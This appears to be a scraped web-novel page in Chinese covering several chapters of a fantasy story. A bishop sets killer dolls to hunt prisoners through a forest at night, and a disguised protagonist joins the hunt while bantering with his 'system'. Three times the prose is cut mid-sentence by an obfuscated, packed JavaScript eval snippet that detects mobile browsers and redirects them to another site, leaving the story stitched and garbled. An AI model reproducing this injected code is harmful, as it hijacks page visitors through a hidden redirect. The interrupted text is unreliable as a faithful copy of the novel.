圣堂通往外界的正门,随着他的动作缓缓朝两侧打开。 古老木门发出沉重的吱嘎声,打开一道缝隙,微凉如水的月光从门外照进来。 众人看见圣堂之外,隔着一条小路是茂密的森林。 森林里林木叠嶂,气氛阴冷,在漆黑的深夜里就像一座阴森恐怖的黑暗迷宫。 “逃吧。”关朔夜温柔地说。 18.执血的弥赛亚(8)舞台 他的话音落下。 圣堂天花板的绳索,也在同时松开。 被各种捆成一团的罪人们,毫无防备地从半空掉下来,纷纷摔在地上。 身体和坚硬的地板接触,发出一记记闷响,可以想象出从这个高度掉下来,肯定摔得不轻。 然而众人一时间都忘记了喊痛,全都发愣地坐着或者跪在原地,视线怔怔地投向门外那座森林。 主教是说……逃? 就这样,让他们逃走吗? “不可能……有这么简单的事……”有人喃喃道。 “确实没那么简单,”关朔夜微笑道,“我美丽的人偶,会来追杀你们。” ?! 空气骤然紧绷。 圣堂里,他所提到的美丽人偶,依然在旁若无人地歌唱。 “真神降临晨曦,裁碎金箔铺向苍穹……” 宛如天籁的歌声令人迷醉,正在发出声音的物体,却是世间最恐怖的惩戒兵器。 曾经吃过人偶苦头的人,都僵硬在原地。 这家伙,刚刚说什么? 关朔夜见众人发呆的样子,露出困惑的神色:“听不懂吗?人偶会来追杀你们,还不快逃。” “时间规定到天亮,你们从现在开始逃,唱诗班的歌者们随后会出发。” “如果谁能活着熬到天亮,我就会宣判他无罪,无论他犯的是怎样丧尽人伦的罪行,我都会即刻,完全地宣判他无罪。” “该判决,永久在帝国全境生效。” “绝不食言。” “森林里有食物,饮水,药品和武器,补给点会扫描诸位的生物信息,按照所交保证金的数量分配物品。” “任何攻击人偶的方式都是允许的,包括不限于殴打,枪击,陷阱,焚烧,等等你们能想到的一切手段。” “然后……”关朔夜想了一下,“应该没有其他注意事项了。” “那就开始吧。” 无人动弹。 所有人都被吓呆了。 曾经犯下各种重罪,蔑视律法,声张诳语,冷血狡诈,或者向教廷摇尾乞怜的罪徒,此刻就像蜷缩在泥里的一群蝼蚁,跪在圣堂的地板上瑟瑟发抖。 有的人已经两眼翻白,晕了过去,不知道是真是假。 “逃啊。”关朔夜凝视着他们,轻声道。 还是无人应答。 “逃啊!” 他猛然发出一声咆哮。 数道激光在圣堂猛烈炸开,火花四溅。 众人尖叫,四散逃开。 蜷缩在地的人们都像触电似的弹跳起来,纷纷往门外逃。 红色激光就像失控发疯的魔爪,在圣堂里到处乱射,逃跑的人们被追到惊恐尖叫,衣服被烧出黑烟,连滚带爬地跑出圣堂,逃进森林里。 几个装死的也纷纷从地上爬起来,冲出门外,唯恐被激光烧成黑炭。 偌大的圣堂,很快变得空荡荡。 最后,只剩下几个真的被吓昏过去的人,头发都被激光烧焦了也毫无知觉。 “这不是都很听话嘛。”关朔夜露出微笑。 他放松地轻叹一口气,像是非常满意的样子,向后倚靠进红丝绒座椅里。 而后,他做了个手势。 人偶们立刻停止歌唱,管风琴也不再演奏。 圣堂陷入寂静。 偌大的空间里,只听到关朔夜轻缓的呼吸声。 晏风冷眼旁观着这场闹剧,系统问:“您就这样唱歌看戏吗?” 晏风:“我只是一具人偶。” 系统:“虽然话也没错……但这样子闹下去,会死很多人吧。” 晏风:“不要忘记你说过的话,朔夜胡闹又不被抓住把柄的经验丰富。“ 系统:“啊?” 晏风:“你仔细看看,他闹了半天,激光连一条人腿都没打伤,这都比不上他刚才打我的力度。” 系统观察了一下周围的满地狼藉:“好像是真的!” 恐怖的红色激光在圣堂乱射,分分钟都要把人打个对穿,连昏过去的那几个都被吓醒过来逃命,唯恐没进森林就被烧成焦炭。 但这一切,只是关朔夜吓唬他们的手段。 激光打了半天,大多数都打在地面和墙壁上。 系统:“他到底在搞什么鬼?” 晏风:“惩戒的目的是给予罪人恐惧和服从,由此强化教廷对信徒的约束,重点并不是要夺人性命。” 但放出人偶去追杀人类,晏风也是头一次看到这种血腥的手段。 是有什么特殊的缘由? 也许接下来,才是重头戏。 关朔夜坐在椅子里稍作歇息,面朝着已经没有真人存在的空间,继续开口道:“那么,就请你们,我可爱的人偶,去把森林里的那些罪徒都杀光吧。” “对你们来说,应该轻而易举。” 优雅而冷血的声音,回荡在寂静的空气中。 人偶们站在原地,没有动弹。 他们是天生的杀戮机器,战斗力和人类根本不能比拟,且不论这些逃进森林人只是带罪在身,并没有什么战斗力,就算真正的武装士兵来当他们的对手,也绰绰有余。 这本身就是一场没有悬念的游戏。 机械思维的人偶,不明白主人为什么要吓唬那些人。 关朔夜望着这些站立不动的人偶:“……就连你们,也明白什么是善恶。” “这些人,为什么就不明白呢。” 他的声音,似乎有些悲伤。 晏风心中一动,他突然理解关朔夜的心意了。 他在混沌中执着地窥伺真实。 无论是污秽还是纯真。 而后,他看见关朔夜从座椅里站起来。 “那么,真正需要你们的时候到了。”他走到人偶们的面前,语气变得十分冷漠。 “据说,三学徒的残党,已经重新现世。” “虽然苏台克教司的势力在九年前被彻底清剿,余孽的零星作恶在各个教区还是时有发生,给公民们的生活带来一些混乱。” “近期治安案件有所增加,多条线索反映出残党活动的痕迹,教廷清洗责无旁贷。” “我在这些案件中筛选出了可疑人员,通过抓捕的方式将他们聚集起来,并且驱赶到了这座没有出口的森林里。” “他们已经走投无路。” 一片寂静。 人偶们默不作声地聆听着主人的叙述。 “我很高兴,你们不是无情的侩子手,不愿意将森林里的罪人一口气全部干掉。” “但仁慈的善意,意味着效率降低。” “就麻烦你们,把残党一个个找出来吧。” 关朔夜冷淡地微笑着,下达了他的命令。 人偶领命。 没有质疑,无需解释。 一切交流只是单方面的说明,无情而有效。 几道身影一晃,人偶们迅速跳开,跃出圣堂消失在森林里。前一秒钟他们还是宁静圣洁的歌者,在转眼间已经变身成为冷酷的杀戮机器。 晏风也跟上去。 离开之前,他回头看了关朔夜一眼。 只见他独自坐回到原位,低头双手支颌,不知道在思考什么。 晏风神情微动,但人偶不会在此时踌躇。 他的舞台,他和他的舞台。 在眼前那片黑暗的森林深处。 弥赛亚飘逸的白袍舞动,如翩跹蝶衣,身影转瞬消失在夜色中。 圣堂里,只留下关朔夜一人。 漫长的寂静。 烛火摇曳,灯光凄冷。 年轻的主教垂眸陷在座椅中,宛若独自沉眠。玻璃镜片之后,长睫轻敛,翡翠般的眼瞳里,带着一抹温柔又迷离的笑意。 他遥望着沉沉的夜色,轻声自语: “让我看看,这场狩猎最终的胜者是谁。” “……会是你吗?” *** 纯白的房间。 绣着白银十字丝线的纱帘在微风中舞动,掠过床沿。 窗外偶尔传来一两声初夏的蝉鸣,短促而尖锐,将与世隔绝的场所衬托的更加幽静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979438|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孤寂。 身穿长袍的少年蜷缩在病床一角,他细碎的金色发丝被凌乱扎成一束,披散在肩头,遮掩住纤丽的容颜。 如同翡翠般迷人的眼眸,蒙着一层死气的阴霾。 任谁看到都会为之惊叹的天生美貌,宛如教廷神话中真神降临的无暇气质。 对他而言,却是噩梦的源头。 他厌恶这一切。 他的灵魂是静息,空洞,虚无的,正如这个房间的纯白颜色。 墙壁,床头,地板。 满眼所见都是白色,几乎有些刺目。 在这无尽的纯白中,唯一夺目的颜色,是他胆怯直视的那一道熟悉身影。 真挚而瑰丽,又如同暖阳夕照。 那是他所侍奉的少年君主,也是他毕生珍爱的挚友,他们曾经在这般舒适的初夏日子里一起野餐,打猎,私访,郊游……那时候的阳光仿佛永远不会沉落。 虽然彼此清楚因为身份有别,这样的快乐不会永远延续,却不曾想到这一天来得这么快。 在那个恐怖的夜晚之后。 “为什么不来向我求助?”少年站在床前,轻声问他。 “我可以用教廷谋反的理由出动皇庭军团,如果你不想闹得太大,律警司,法仪司,任何司部的密探我都可以为你调动。” “我全部的力量,都愿意为你所用。” “为什么,拒绝我的帮助?” “朔夜。” 年少的皇太子跪坐到病床上,轻柔地发出质问。 以他的身份地位,完全可以对这件事不闻不问,或者对关朔夜回避不见的态度大发雷霆。 他甚至可以不需要经过当事者的同意,随意用自己喜欢的方式进行任何程度的调查,彻底弄清楚他的臣子究竟是用什么匪夷所思的手段,一夜之间消灭了教廷的核心势力,以及无数对他怀有恶意的成年人。 包括企图杀死他的母亲。 这是晏风身为上位者,与生俱来的权力。 但他选择宽容地保护了关朔夜的一切隐私,原谅他不肯将真相吐露分毫。 也许,因为那时候他们都还年少纯真,就像小心翼翼地对待透明的玻璃丝一般,认真保护着彼此每一个纤细又坚韧的自尊和秘密。 最激烈的情绪,也只是这一声轻柔的质问。 “朔夜,为什么拒绝我的帮助?” 多么令他痛苦的温柔。 是他命中注定要亲手撕裂的情意。 是他在毁灭一切之后迫切想要去依恋,却绝对不允许自己再次沉迷的东西。 因为他们在身为挚友之前—— 首先是君臣。 身为臣子,他不可以让君主蒙羞。 “我要肩负起自己的责任。”关朔夜轻声说,发丝垂落在他的脸颊,遮掩住所有的神情。 “很感激殿下愿意不公开这件事,给我足够的时间去调查,我不希望妈妈就这样不名誉地死去,我会找到切实的证据,证明她的清白。” “我不相信……她会亲手杀死我。” 身旁的异物骤然扭曲起来,是无数透明的触须。 关朔夜尽量压抑了自己的情感,但尚不能控制的触须出卖了他的真实心情。 晏风是第一次看到这些触须,他没有躲避,任由这些异物抽打在自己身上。 关朔夜惶恐地蜷缩成一团:“抱歉,惊扰到殿下了。” “这不是什么可怕的怪物,医研司说我的精神受到太大刺激,意识有一部分脱离了脑子,他们用生物材料帮我把这些失控的意识固定成了实体。” “假以时日,我会将它们控制的收放自如。” “在此之前……” “殿下,您请回吧。” 不再沉迷于享受无忧无虑的快乐。 不再欺骗自己能够霸占这份永恒的情意。 他想成为,不让晏风失望的挚友。 不让皇太子蒙羞的仆臣。 为此,他会竭尽所能,窥得这世间所有的真实。 用唯独属于他的,疯狂而优雅的方式。 19.执血的弥赛亚(9)学徒 “人性,不能经受太深的窥探和考验。” (系统:)“殿下,为何突然发出这样的感慨?” “无聊的自言自语罢了。” 夜色幽静。 身着白袍的人偶漫步在森林,步履轻缓而闲适,仿若一位美貌少年在阳光温暖的午后,独自田间散步打发时间。 他像是浑然不觉时间已过午夜,肆意享受着属于自己的小憩时光。 离开圣堂以后,晏风就和人偶们各自分开行动,猎手们暂时扮演成猎物,在森林里寻觅着关朔夜命令中的三学徒残党踪迹。 月色凄迷,空气里弥漫着稀薄的冷雾,将夜幕染上一层烟灰色的朦胧薄影。 夜露沾湿了弥赛亚的衣袍,长靴轻轻踏过林间小径。 脚下,脆弱的枯枝断裂。 万籁俱寂的夜幕中,骤然响起清脆的折枝声,惊动了一群栖息在林中的野鸟,化作无数黑影划破夜空。 也引来藏匿在暗处的视线窥视。 那些视线或惊恐,或警惕,或踌躇不前,在迫近的恐惧威压下就像一群被逼入绝境的困兽,想逃跑却失去了勇气和力量。 他们中的大多数人,被关朔夜逼迫逃进森林之后,就在附近找地方躲藏起来,根本没有一丝反抗的战意。。 此时,当目睹人偶经过自己身旁,他们甚至不敢尝试挣扎自救,不敢转身背对这具恐怖的兵器,没有胆量竭力从他尚未伸出的魔爪之下逃离。 只要熬到天亮就好了。 罪人们心存侥幸地想着。 明明已经被赋予了猎手的资格,却束缚在身为猎物的恐惧情绪中无法自拔。 这,该说是关朔夜施加的惩戒手段切实有效,还是人性的孱弱天性如此。 晏风不禁感叹:“如果我也像朔夜一样,光靠吓唬人就能服众,该有多轻松。” 系统:“殿下又说笑,能被人偶威压吓唬住的小人物,您看不上眼的。” 晏风冷然一笑:“你说得对。” 弥赛亚踏着优雅的步伐,从胆怯猎手们的藏身处经过,不屑于多看他们一眼。 收拢在衣袍内的手指,却悄然探出尖锐的金属利刃。 “狩猎我的对手们不够努力。” “都快让我觉得……” “有些无聊了。” 人偶的白袍骤然扬起。 藏匿在衣襟内的手指灵活翻飞,夜色中扬起数道闪光,金属利刃在月色下划出优美的银色圆弧。 空气扬起凄厉的破风声。 只听几声惨叫,藏身在树丛里的猎手们跌倒出来。 那是三名穿运动罩衣的男子,他们滚在地上,捂住手脚发出哀嚎,从指缝中流淌出汩汩鲜血,将身下的草地染成污秽的深色。 人偶目不斜视,留给他们一个纤丽的背影。 夜风拂过,带来他悦耳的声音。 “自称‘新生代’的盗窃三人组。” “手脚这么笨拙,下次就请不要偷车了,律警司的天眼人工算法,远比你们二十岁的大脑要聪慧。” 背影消失在夜雾中。 人偶留下训诫般的一通讽刺,飘然离去。 实在是毫无战斗意义的碾压式胜利,就像踩到几只蚂蚁,身怀杀戮绝技的人偶甚至要小心控制手中的力道,才能避免不要夺走这些人的性命。 晏风就这样缓步行走在森林中,穿行在暗夜里几乎伸手不见五指的林间小径。 略微惩罚了那三名偷车贼之后,他任凭自己的兴趣,无视躲藏在树后的人,或者朝他们投去一个森冷的眼神,将那些人吓得四散逃跑,丑态百出。 “我真是一个冷血的人偶。” 路过湖畔,晏风侧脸俯视着映照在水中的弥赛亚。 系统夸赞他:“您越来越入戏,真棒。” “这些罪不致死的人,只是人偶无聊找乐子的对象,我没有兴致在他们身上浪费太多时间。” 晏风说着,俯身拾起一块脑袋大的石头,单手随意地朝树丛里扔进去。 只听一阵凌乱的惨叫声,四五个人抱着头从灌木后面窜出来,连滚带爬地逃向远处。 在他们藏身的位置,留下了不少食物和水,推测这些人是在补给点领取物资以后,打算在这里躲藏到天亮的。 “几件纵火案的嫌疑犯,”晏风看了看人偶数据库里的资料,“我不动手是给他们脸,就算失去补给,他们熬到天亮也饿不死。” 刚才狠狠砸中那些人的石头,还躺在草地上。 系统沉默数秒,似乎在观察那块脑袋大的石头上面残留的血迹。 系统:“所谓的不动手……殿下说什么就是什么吧。” 晏风四处观察着附近还有没有人躲藏,一边说:“收集这座森林的地图,帮我找找容易被偷袭的地方。” 系统:“您确定是被偷袭,不是偷袭别人?” 晏风:“我这个战斗力,想收拾别人需要偷袭吗?” 晏风:“我要去三学徒容易动手的地方,他们不是普通罪犯,不像这些贪生怕死的胆小鬼,一定会竭力从这场猎杀里活下来。” 三学徒。 全名苏台克的三学徒,起源于前代教廷中,一位名为苏台克教司兴起的异端势力。 按照教廷的名词解释,与主教理念相悖的人物或者组织都属于异端。 哪怕主教本人是依靠阴谋非法篡位,或者是被其他教司扶持的傀儡。 由于异端的定义本身就很模糊,因此裁决行为属于教廷的内部事务,只要事件没有威胁到帝国境内普通公民的人身安全,主教也不主动求助增援,律警司和法仪司就不会擅加干涉。 系统十分诧异:“所以,您竟然真的打算穿着马甲,以人偶的身份为关主教工作?” “上班是不可能上班的,我只会跟人偶同事打牌聊天唱歌这样子,”晏风在补给品里翻找了一会儿,捡出两把匕首收拢在衣袖里。 “但我不喜欢加班,我会让包括朔夜在内的大家都早点下班,所以需要提高效率。” 系统:“明白您的意思,在筛选符合条件的地点了。……咦?我的数据库里,为什么没有关于三学徒的详细资料。” “这很正常,”晏风并不觉得意外,“在朔夜上位掌权之前,教廷内部常年分裂,各个教司互相指责对方是异端也算常事,你可以理解为一群老头日常吵嘴。” “当年剿灭三教徒的时候,他们在律法层面上并没有对社会秩序造成很严重的破坏,最终被指控的罪名……似乎是行为不端。” 所谓的行为不端,字面意义上的解释,就跟如今外界对关朔夜的评价差不多。 堕落,淫靡,贪欲,享乐,之类的。 与违背教义层面的严肃指控相比,这更像一种人身攻击。 推测这些指控是源于三教徒的信仰与教廷格格不入,甚至可以说十分古怪。 他们的宗旨,是声称让世界陷入混乱。 然而,这是一个相当空泛的口号。 具体要陷入什么样的混乱,如何陷入混乱,要从混乱中得到什么好处,该口号吸引到多少名信徒,最终造成了什么程度的破坏…… 都不明确。 教廷调查的结果,只能确定这个组织通常以三人团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987484|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体或者倍数的方式出现,推断他们是创造了某种特殊的术法或者药物,需要至少三个人互相发生联系才能起效。 系统:“……听起来很淫.乱。” 晏风:“是吧,教廷的纷争有时残酷的超乎你想象,有时又如同儿戏,跟我们熟悉的帝王权术价值观不太一样。” 系统喃喃:“但是,三个人……” 晏风:“信徒为了满足精神寄托,会创造出各种匪夷所思的信仰,并且为其倾尽所有,我本人对这些虚无的东西并不太感兴趣。” 系统喃喃:“三个人……” 晏风皱眉:“你怎么了,又想到什么八卦的事情,逻辑模块温度过热,烧坏线路宕机了吗?” 系统语气幽幽道:“我突然想起,您,弥赛亚,关主教,就是三个人。” 晏风提醒他:“友情提示,三人团体泛指数字,包括不限于真人,我,你,朔夜,也是三个人。” 系统:“尖叫.jpg” 系统:“跟关主教并列在一起,感觉很荣幸又有一点点羞耻是怎么回事。” 晏风:“因为三人团体成型,自主发动了‘行为不端’技能吧,你已经被三学徒的病毒污染了。” 系统:“原来教义在不知不觉中就入侵了大脑,异端势力真可怕!” 似无若有,似有若无。 这就是教义洗脑的魔力。 将思维陷阱全部隐藏在看似轻松的谈话中,当理性觉察到异样的时候,本人早已身陷囹圄。 因为气氛太过温和,有些受害者甚至会怀疑是不是自己太过敏感,曲解了对方的善意,由此心怀困惑和愧疚,继续一步步踏入更深的陷阱。 再加上适当的集会,仪式,抑或是药物控制,将个体纳入到团体权柄的操控中,让追随者数量和忠诚度在一夜之间实现几何级数的增长。 并且表面波澜不惊,难以觉察。 若非意志极为坚定者,很难从这种潜移默化的困境里脱身,这就是教廷必须出面制裁异端的理由。 精神寄托和精神控制,只隔着一道浅显的鸿沟,前者是凡人痛苦的救赎,而后者是扰乱社会秩序,严重忤逆皇权的反贼。 教廷在表面上,必须坚定自己的立场。 至于在背地里,就不太清楚了。 晏风搜索了律警司的案件数据库:“根据我们能看到的资料,三学徒曾经在白银十字领星制造了多起治安案件,大多数罪名是以非法手段招募信徒。” “直到九年前,以苏台克教司为首的团伙,被季诲忠教司率领的教兵厅抓捕,藏匿在忒提斯荒野废墟地宫的据点也被一锅端,从此以后这个组织就销声匿迹。” “九,又是三的倍数,有趣。” 系统:“季,姓氏有点熟悉。” 晏风:“之前我们在红灯区抓到的三个男人,其中一个名叫季龙扬,就是季诲忠教司的孙子。” “季教司是旧主教直系血缘派的积极拥护者,朔夜上位以后就主动退隐了,现在好像在经营草药种植生意。” 系统:“这位老教司和关主教的立场敌对,他会不会两面三刀,暗中和三学徒的残党联手?主教阁下这么狡猾,他是故意抓住那个孙子的?” 晏风:“很有可能。” “朔夜选择的罪犯都经过精心挑选,首先对象必然符合三的关键字,其次他也许会借机做一些平时不方便的事情,用圣堂惩戒仪式的手段掩人耳目。” “所以你……” 晏风想问系统有没有找到适合三学徒偷袭的地方,突然身后掠过一道冷风。 有人在从背后攻击他。 20.执血的弥赛亚(10)偷袭 好差的出手时机。 晏风不喜欢积极思考的时候被人打断。 他有点生气。 人偶手指微动,匕首瞬间闪现在指尖,他想认真地给对方一点颜色看。 但下一秒,他又兴趣缺缺地收手了。 没意思,太虐菜。 这次袭击他的对手,显然不是什么战斗内行,甚至比以往任何一个人的水平都更差。 他出手的动作很仓促,像是突然发现自己可能有机会而临时起意,使用某种远程武器射击偷袭,推测是弓箭。 射击的方向,角度,力量都没有经过大脑思考。 或者更像是,根本不会思考。 一支不知道是什么东西的细小尖刺,擦着晏风的耳际掠过,在他眼前划出一道抛物线,软绵绵地掉在草地上。 攻击结束,伤害0。 而后,是第二支,第三支…… 完全不会战斗的对手,朝着瞄不准的目标,孜孜不倦地发动攻击。 形似尖刺的细箭接连不断,射向晏风…… 身边的树干,草地,石头。 晏风站在原地都懒得躲闪,且不论人偶由硬质材料制成的身体,被杀伤性武器直接命中也不会损毁,顶多回到关朔夜手里返修一下; 眼前这位执着的对手,看来一时半会是抓不到瞄准要领,他射来射去,连人偶衣袍的一点边角都没碰到。 就随便他射吧。 晏风彻底放弃了挣扎。 攻击还在继续,射中的目标还是树干,草地,石头……地上散落的刺箭越来越多。 场面突然变得很滑稽。 系统:“是不是该走近一点,给这位对手降低瞄准难度呢?我怕他的箭快要射光了。” 晏风:“我也是没想到,通关任务会越来越简单,对手只有菜,很菜和更菜。” 但是…… 他若有所思。 那些不明材料的刺箭,掠过他身旁的时候,带来一丝难以觉察的电磁波动,他思索一下,转身朝着对手攻击袭来的方向走近几步,主动把自己放进射程里。 一道冷光夹杂着破风声,射向他的心口。 滋—— 耳内骤然传来一阵刺耳的电流声。 晏风视野里的空气凝滞了一瞬间,身体动作也随之僵硬。 紧接着,在他眼前发生的画面,仿佛是浸染在胶水里的慢动作。 他看见刺箭即将射中自己心口的霎那,有数道透明触须突然从远处冲过来,蠕动着拦截在他面前。 触须以迅雷不及掩耳的速度,几根须须从不同方向缠绕住破空袭来的刺箭,硬生生截断了它的射击轨迹。 被触须缠住的箭身在惯性驱使下,依然保持着原有的攻击角度,箭端卷动起微小的气流漩涡,伴随着细碎的电流摩擦声,将空气撕开数道细小裂缝。 晏风:“……” 倒也不用保护得这么周到。 这一切全部发生在转瞬间,他根本来不及向突然出手的触须们解释,自己其实并不需要帮助。 虽然他早就猜到,这家伙肯定一直在暗中观察。 而后,他听到了熟悉的优雅声音: “我呢~还是太善良。” “明明正在圣堂里专心磨练自己日渐生疏的管风琴演奏技术,却不知为何,突然心神烦躁,想到森林里来走走。” “当我走到湖畔的时候,无意中看到我的宝贝,正呆呆地站在原地挨打。” “真是令人痛心的一幕。” 夜风拂动。 数道透明的触须随风摇摆,仿若从海底爬到岸上休憩的水母。 位于触须包围的中心,草地上摆着一张精美舒适的红丝绒座椅,在这片寂静恐怖的森林里显得极为突兀。 又莫名的理所当然。 这张座椅是什么时候,被什么人用什么方式摆在那里,全都无从所知,它就好像自然而然的出现,没有任何不对劲的地方。 某个人姿态优雅地坐在椅子里。 他神情悠闲,好似在歌剧院里欣赏一幕精彩的演出。 微风吹动着他金色挑染的发丝,从风中传来的声音温柔悦耳,却不知为何让人后背发凉:“我很好奇,究竟是什么人……” “胆敢伤害我最可爱,最乖巧的宝贝呢~?” 系统:“为什么他会带着座椅一起行动啊!——” 晏风扶额。 关朔夜,教廷这位离经叛道的主教阁下,任谁都摸不准他光怪陆离的心思。 在认真把他的人偶玩物洗干净,喂饱食物,催促人偶继续乖乖上班以后……自己偷偷地跟在后面看。 保持着他一如既往的坐姿。 晏风不知道他是在什么时候,用什么方法带着座椅移动到这里的,但关朔夜显然对他看到的情景十分生气。 证据就是他身边的触须正在表达不爽的情绪,须须们扭动着在草地上拍打,发出啪嗒啪嗒的轻响。 似乎觉得这样不够优雅,关朔夜略微收拢了乱动的触须。 而后,他身下的座椅自己动了起来。 座椅丝滑地平移,朝晏风的方向移动过来,停在他面前。 关朔夜微笑地问:“我的宝贝,刚才在自言自语什么呢?” 晏风面无表情:“说主人赏赐的芒果好吃。” 马甲人设火速上线。 好消息是关朔夜这次终于面对着他在说话,没有再莫名其妙地对着空气呓语。 坏消息是晏风不能问座椅为什么会自己动,也不能吐槽到底谁在自言自语,因为人偶永远不会质疑主人颠三倒四的奇怪言行。 只有系统在冷嘲热讽:“原来渊先生的轮椅,在这里被主教阁下坐了。” 晏风在意识空间里没有理睬,关朔夜所说的自言自语,应该是指他在和系统讨论三学徒线索的时候,无意中开口说话了。 从座椅所在的位置来看,这个距离应该听不到他在说什么,但关朔夜看似疯癫却目光如炬,晏风希望他的注意力能被其他事情转移走,不要发现马甲的端倪。 幸好这家伙是很记仇的,他的人偶在莫名地自言自语无所谓,重要的是他的人偶在自言自语的时候被人打了。 他上下端详弥赛亚一阵子,确认他没有在刚才的攻击中受伤,幽幽地回头开口道:“所以,为什么还没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990542|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人主动出来认领呢?” “我都已经在问了,是谁……在伤害我可爱的宝贝?” 他的声音森冷入骨,让人听得浑身发毛。 “是你吗?” 他侧过脸,视线投向东边的一棵大树。 触须疯狂地蠕动过去,从树后揪出来一个人,扔在地上反复摔打。 那人被摔得鼻青脸肿:“不是我唔!——我只是唔——在偷看唔唔啊——!” 触须扔开他。 关朔夜又把脸转向另一侧:“那么,是你们吗?” 触须又疯狂蠕动过去,在灌木丛里揪出来两个人,勒住他们的脖子悬吊到半空中。 两人被勒得面色通红:“呃呃呃!” “怎么不说话呢?” “呃呃呃!” 系统:“这家伙吓唬人是有瘾吗?攻击是从什么方向来的,他明明看得很清楚。” 晏风四处奔走,尾随着触须蠕动的方向,捡起那些人掉在地上的武器:“我只是一具人偶,没有资格对主人杀鸡儆猴的行为发表评论。” 系统:“虽然声称没有评论,但有犀利的总结和淡淡的嘲讽,在保持本尊性格的前提下不违反马甲人设,玩弄规则的边缘反复蹦迪,您和主教阁下果然是天生一对。” 系统:“……顺便问一句,您这是在忙什么呢?” 晏风:“假装上班,眼里有活。” 关朔夜把他的活给干了,替他到处虐菜,他暂时没有事情可做。 但考虑到这家伙出手是为了帮他出气,他像木头一样站在旁边的话,好像不给面子。 就随便捡一点有用的物资,为随时可能到来的战斗做准备。 言谈间,关朔夜已经从各个方向抓来不少倒霉蛋,其中不仅有被这边的动静吸引过来不怕死看热闹的,也有朝着反方向撒腿狂奔求生但可惜跑得不够快的。 方圆数公里内的人,差不多都被触须抓住,用各种方法揍了一顿。 附近正在执行任务的人偶们,听到了这番不寻常的吵闹声,他们敏捷的身影在夜色中穿梭,三两下跃到附近暗中停驻。 人偶们悄悄地从树梢上,草丛里,山丘后探出头,好奇探究到底是谁这么无聊,半夜三更在跟他们抢生意。 哦,原来是主人。 那没事了。 在距离关朔夜不远处,弥赛亚冷淡地抄着手,亦步亦趋地跟随着他,作为一名称职的侍从防止局面失控。 他用眼神示意人偶们不用紧张,一切都是主人的日常罢了。 人偶们了然于心,见怪不怪地各自散去。 主教座椅就这样载着关朔夜在湖畔周围到处转悠,把触须能触及到的地方都摸索了一遍。 在这场闹剧中不幸被抓住的罪人们,已经数不清自己是挨了今天的第几顿打,只听到处哀嚎声和求饶声响成一片,隐约有人喊着求求别打了饶命吧他们什么都会做之类的话。 晏风听着这些求饶声,眼前浮现出大量赎罪金主动上交的画面。 系统适时嘴替:关主教,真是卑鄙又高超的发财手段。 混乱的场面中,一颗小石子滚到关朔夜的主教座椅下。 21.执血的弥赛亚(11)真心 石子滚动的幅度很小。 它悄悄从近处一株长势颓靡的枯树后面滚出来,很难想象这么枯萎的树后也能藏人。 主教座椅的椅腿被石子碰撞到,发出一声脆响。 正忙着施暴的关朔夜似乎没有注意到这么小的动静,触须又狠狠甩起几个人。 等到把他们抽打了一会儿,他突然像是从梦里醒过来似的,回头朝向站在一旁的弥赛亚人偶,问:“宝贝,刚才是有谁在砸我的椅子腿吗?” 晏风想说这是假惺惺的明知故问,他明明从一开始就知道哪个方向的什么地方具体藏着多少人,而攻击弥赛亚的那个人又藏身何处。 但一上来就直捣敌人老巢的话,战斗结束得太迅速,关朔夜身为攒局人将恐惧气氛渲染得不够,他会觉得自家人偶的那顿打就白挨了,半夜醒过来都会后悔地给自己两巴掌。 身为懂事体贴主人的专业人偶,弥赛亚应当给予主人足够的发挥空间。 协助他将优雅的癫狂放肆散播到每一个角落,仅仅在适当的时候略微收拾残局。 系统:不然还是把罪人们送回律警司的拘留所吧,我觉得他们需要一些心理援助。 无论如何,关朔夜的注意力在适当的时候被吸引到正确的地方了。 弥赛亚礼貌地向他汇报:“在主人的圣光威压之下,堕落的罪者已经迷途知返,主动现身向您请罪。” “就在那里。” 石子滚动来的方向,枯树的枝叶轻微颤动。 树后,响起一个怯生生的声音: “那个……” “主教阁下,我喊了您好几次。” “但您好像一直忙着……没有听见。” 是一名年轻女子的声音。 枯树后面,小心翼翼地走出一名衣衫破旧的女子。 女子怀里抱着一个小孩。 小孩神情畏惧,双手紧紧攥着一把微型的十字弓,瞄准了在场的大人们。 弓箭的弦上绷着一支锐利的细箭,被特意改造过的箭身尖端,闪烁着微弱的电磁能量火花。 系统:“?” 系统:“这种让正常人一刻也待不下去的地方,为什么会出现带着小孩的女子。” 系统:“就是这个小孩偷袭您的吗殿下?” 晏风:“我更愿意将它称为一次孩童嬉戏时发生的不幸巧合。” 小孩手中绷在十字弓弦上的细箭,和散落在草地上的那一堆完全相同,足够证明他就是袭击晏风的罪魁祸首。 